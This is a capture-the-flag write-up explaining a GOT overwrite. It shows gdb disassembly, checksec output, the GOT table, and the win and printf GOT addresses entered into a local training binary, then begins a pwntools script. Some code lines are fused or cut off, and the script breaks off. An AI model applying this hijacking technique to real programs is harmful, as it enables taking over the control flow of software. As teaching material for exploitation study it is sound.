This challenge introduces the newest category of exploits: write-what-where. We don't often see write-what-where exploits as independent exploits, but rather as a stepping stone to allow another exploit.
The most common use case of a variable overwrite is to write to the GOT (Global Offset Table). This section assumes you've read The PLT and GOT; the short version is that every dynamically-linked libc function is called through its GOT entry — a writable function pointer. If we can write to that entry, we redirect the call.
This leads to a powerful exploit known as a GOT Overwrite. Given a write-what-where primitive, we can overwrite the address a library function points to. For example, given a function win, we can overwrite the GOT entry for printf to point at win — so every time printf is called, it actually calls win!
The only protection against this is RELRO. Only Full RELRO marks the GOT read-only; the default Partial RELRO leaves the GOT writable, so a write-what-where still reaches it. (See The PLT and GOT for all three RELRO levels.)
If we use gdb to look at main, we notice that there are no buffer overflow vulnerabilities.
10x0000000000401605 <+255>: lea rax,[rbp-0x30]
20x0000000000401609 <+259>: mov esi,0x1e
We are allowed to write 30 bytes into a buffer of size 0x28 (notice there's something at rbp-0x8). Both times data is inputted, it's converted to a long:
10x0000000000401616 <+272>: lea rax,[rbp-0x30]
20x000000000040161a <+276>: mov rdi,rax
By running the challenge, we notice we're allowed to write 30 bytes to a location of our choosing. We confirm this here:
10x0000000000401668 <+354>: mov rax,QWORD PTR [rip+0x2a21] # 0x404090 <g_addr>
20x000000000040166f <+361This takes whatever's at g_val and writes it to the dereferenced location g_addr. This is the write-what-where capability we're seeking!
We're allowed to write anywhere that's marked as writable. This means we cannot write to the text segment since it's strictly marked read-only. checksec shows that only Partial RELRO is on:
checksec chall[*] './chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: NoThis means we can do a GOT Overwrite!
We're provided the ability to write a value anywhere. We're allowed to write 30 bytes at our chosen location. In performing a GOT overwrite, we only need to write 8: the address of win.
First, let's get the value we want to write (the address of win):
info functions winAll functions matching regular expression "win":Non-debugging symbols:0x00000000004014f0 winThen, we need where we want to write. This is the GOT address for printf:
gotGOT protection: Partial RelRO | GOT functions: 7[0x404000] putchar@GLIBC_2.2.5 → 0x401036[0x404008] puts@GLIBC_2.2.5 → 0x401046[0x404010] setbuf@GLIBC_2.2.5 → 0x401056[0x404018] printf@GLIBC_2.2.5 → 0x401066[0x404020] fgets@GLIBC_2.2.5 → 0x401076[0x404028] atol@GLIBC_2.2.5 → 0x401086[0x404030] exit@GLIBC_2.2.5 → 0x401096Here, the address of printf in the GOT is 0x404018.
printf?win. The easiest functions I see that get called are puts and printf.Note that I can't choose to overwrite lose. lose is not a library function, meaning it doesn't have a PLT nor a GOT entry.
Therefore, all we need to is input these and we'll get a successful run! Note that atol does not accept hexadecimal, so we need to convert these to integers.
0x4014f041996640x4040184210712exit()Then, just put them in the challenge!
./challYour goal is to modify the variable @ 0x7ffcbc886268to equal 0xdeadc0de.This is a write-what-where exercise, and will not be trivial. This primitiveis typically leveraged to overwrite GOT entries (or any writable region ofmemory in the binary).0x7ffcbc886240: 0x0000000000000000 0x00000000000000000x7ffcbc886250: 0x0000000000000000 0x00000000000000000x7ffcbc886260: 0x0000000000000000 0x00000000deadbeefWhat do you want to write? 4199664Where would you like to write it? 4210712Congrats! You successfully overwrote the variable with the correct value.... Many Times ...Congrats! You successfully overwrote the variable with the correct value.You did not modify the target...Are you sure you wrote to the right place? Try again!Two important things to notice:
print_stack uses printf many times, which calls win each time printf is used.lose! We didn't actually modify the variable as expected per the challenge. This means the code should still print lose.This is the GOT overwrite. This can also be done using pwntools pretty easily:
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p = process()In this solution, elf.sym.win are hex values (i.e., numbers), which are converted to strings and then encoded as bytes.